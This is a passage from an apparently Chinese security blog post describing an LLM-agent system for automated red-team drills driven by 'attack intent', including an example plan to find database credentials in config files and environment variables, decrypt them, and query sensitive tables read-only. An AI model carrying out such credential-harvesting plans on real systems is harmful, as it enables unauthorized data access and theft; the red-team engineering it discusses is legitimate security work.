normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031683" alt="image.png" class="rich_pages wxw-img" data-ratio="1.1996753246753247" data-type="png" data-w="1232" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a357cd91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzcKqVTgfP2I1nuuBRlTTUCreObCLNn2bUiau9Cq3LBRj1kicOwaianxxRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6. 基于攻击意图的自动化演练</span></h2><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">前面介绍Agent相关的其实说了非常多了，那么在这个章节让我们回归正题，来介绍基于意图工程的自动化演练落地的探索</span></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.1 思路</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">既然说是落地那么就是代表着需要在实际的生产网上进行自动化演练，我的构建思路并不是完全的让AI去自动化启发式的来进行发现执行，而且我觉得目前LLM在上下文缺失的场景下没有办法去做像攻击队那样的发散。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在上一次分享中，Agent的介入思路是，基于DAG的图固定执行+基于LLM的机会探索，但是发现这样在实际演练中真的是碰运气，如果一些手法没有事先编排好那么就不会执行，也就没有机会这一说了，所以在当前演练的基础上，加入了攻击意图，从而实现主线任务+支线任务的形式</span></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.2 困难</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在实现过程中其实遇到了非常多的困难，Agent这块很多时候其实大家都觉得原理非常的简单就是Prompt+LLM+工具+RAG等等，但是具体实现过程中会遇到很多问题，同样的在构建自动化演练过程中我也遇到了各种问题，接下来我会结合架构和问题来整体介绍自动化演练如何落地</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">问题：</span></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">基于LLM的演练期间非常的碰运气，东打一下西打一下，运气好就发现了宝藏，运气不好就没办法，缺少整体的主线</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">演练期间业务环境完全黑盒，事先构建的插件存在各种执行失败的可能，如何确保演练周期下的成功率</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">期间发现了新的脆弱节点、资产，如何动态的添加</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">在攻击过程中如何让Agent能从海量攻击插件中准确选择出我们想要的？</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">……</span></p></li></ol><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.3 架构</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">虽然我一直在做自动化演练但是其实自动化演练底层已经完成了三次大版本的迭代</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">阶段一：基于预设剧本的自动化演练（解决人工演练-&gt;自动化演练的问题，痛点：机械、无法基于场景来灵活应变）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">阶段二：基于机会主义探索的自动化演练（Agent能力初步接入，能发现并利用过程中的价值信息。痛点：缺少演练核心主线，最终目的地无法控制，处于发散阶段）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">阶段三：基于攻击意图的自动化演练（意图工程接入，在发散基础上增加主线意图的控制，相当于导航中能够给到目的地，从而实现演练贴合意图去进行）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面是我自动化演练的整体架构，画的比较简单，其实主要就是三部分</span></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">自动化执行DAG图中的插件</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">Plugin结果Agent分析</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">节点维度意图分析</span></p></li></ol><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031681" alt="image.png" class="rich_pages wxw-img" data-ratio="0.7290697674418605" data-type="png" data-w="1720" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=88fc1e2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzUJxILp2n3ibLTKp4sxLvmGdKSmxIqUzKglSYKscKhZOS7CiaC0icfFBzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.4攻击意图</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先来解释一下什么是攻击意图，通俗的来说就是本次攻击想要达成什么样的效果，下面举几个例子</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例：通过窃取数据库敏感信息、通过信息搜集获取数据库连接串获取敏感信息、通过泄漏AK批量获取机器权限</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以在这里攻击意图其实就是我本次演练想要完成什么目的，我们可以是拖库也可以是批量控制机器，也可以是漏洞摸排等等</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基于我们输入的攻击目标并生成的对应的具体任务其实就是意图理解，最关键的是我们需要对拆解后的phase增加验证的节点，也就是下面的完成标准</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过输入+RAG+Agent+模版我们就能实现自动化生成对应的攻击计划，也就是我们的主线任务</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__comment">##攻击目标</span></span></code><br/><code><span leaf="">本次攻击计划的攻击目标是：在不破坏线上业务的前提下，通过收集目标Linux服务器上可能泄漏的数据库连接凭证，解密必要信息，最终建立合法数据库连接并安全地获取数据库元数据或有限业务数据，用于评估数据泄露风险。</span></code><br/><code><span leaf=""><span class="code-snippet__comment">##目标拆解</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">###Phase1</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">—[Reconnaissance]:收集潜在数据库连接凭证信息</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">目标:在目标服务器上识别并提取所有可能包含数据库连接信息的来源，包括配置文件、环境变量等</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">验证标准:成功识别至少一个有效的数据库连接信息源（如包含数据库类型、地址、端口、用户名、密码或可解密密文）</span></span></code><br/><code><span leaf="">**任务清单**</span></code><br/><code><span leaf=""><span class="code-snippet__section">-任务ID: T001  </span></span></code><br/><code><span leaf=""><span class="code-snippet__section">任务描述:扫描本地文件系统中常见的配置文件路径（如/etc/,/opt/,/home/,应用部署目录等），搜索包含数据库连接串关键词（如 jdbc:, mysql://, postgresql://, password=, db_url 等）的文件</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">完成标准:发现至少一个包含数据库连接信息的配置文件，并记录其路径与内容片段</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">-任务ID: T003 </span></span></code><br/><code><span leaf=""><span class="code-snippet__section">任务描述:检查内存进程、环境变量（env 命令）、启动脚本中是否存在数据库连接信息</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">完成标准:提取到至少一条结构化的数据库连接信息（含类型、地址、端口、凭据等字段）</span></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf=""><span class="code-snippet__comment">###Phase2</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">-[CredentialAccess]:解密或解析获取到的数据库凭据</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">目标:对Phase1中获取的加密凭据进行解密，还原出可用的数据库连接凭证</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">验证标准:成功还原出完整的数据库连接四要素（地址、端口、用户名、密码/Token）</span></span></code><br/><code><span leaf="">**任务清单**</span></code><br/><code><span leaf="">......</span></code><br/><code><span leaf=""><span class="code-snippet__section">-任务ID: T007  </span></span></code><br/><code><span leaf=""><span class="code-snippet__section">任务描述:对所有已获取的连接信息（包括明文和解密后内容）进行标准化处理，归一化为{db_type, host, port, username, password, database}结构</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">完成标准:至少生成一条结构完整、字段齐全的数据库连接对象</span></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf=""><span class="code-snippet__comment">##</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">#Phase3</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">-[Execution+Collection]:建立数据库连接并安全获取数据</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">目标:在确认代理隧道可用的前提下，使用合法连接串连接目标数据库，并仅执行只读查询以获取元数据或有限业务数据</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">验证标准:成功建立数据库连接，并返回数据库版本、表结构或指定表的部分只读数据（不超过100行）</span></span></code><br/><code><span leaf="">**任务清单**</span></code><br/><code><span leaf="">.......</span></code><br/><code><span leaf=""><span class="code-snippet__section">-任务ID: T009  </span></span></code><br/><code><span leaf=""><span class="code-snippet__section">任务描述:根据数据库类型（MySQL/PostgreSQL/Oracle等）选择对应的数据库利用插件，传入连接参数及代理信息（如需要），执行连接测试</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">完成标准:插件返回连接成功状态，并能执行基础 SQL 查询（如 SELECT 1）</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">-任务ID: T010  </span></span></code><br/><code><span leaf=""><span class="code-snippet__section">任务描述:执行只读信息收集：获取数据库版本、当前用户权限、可用数据库列表、目标库的表结构（information_schema）</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">完成标准:成功返回数据库元数据，且未触发写操作或删除类语句</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">-任务ID: T011  </span></span></code><br/><code><span leaf=""><span class="code-snippet__section">任务描述:若业务允许且风险可控，对高价值表（如 user, config, token 表）执行 LIMIT 100的只读查询，验证数据敏感性</span></span></code><br/><code><span leaf=""><span 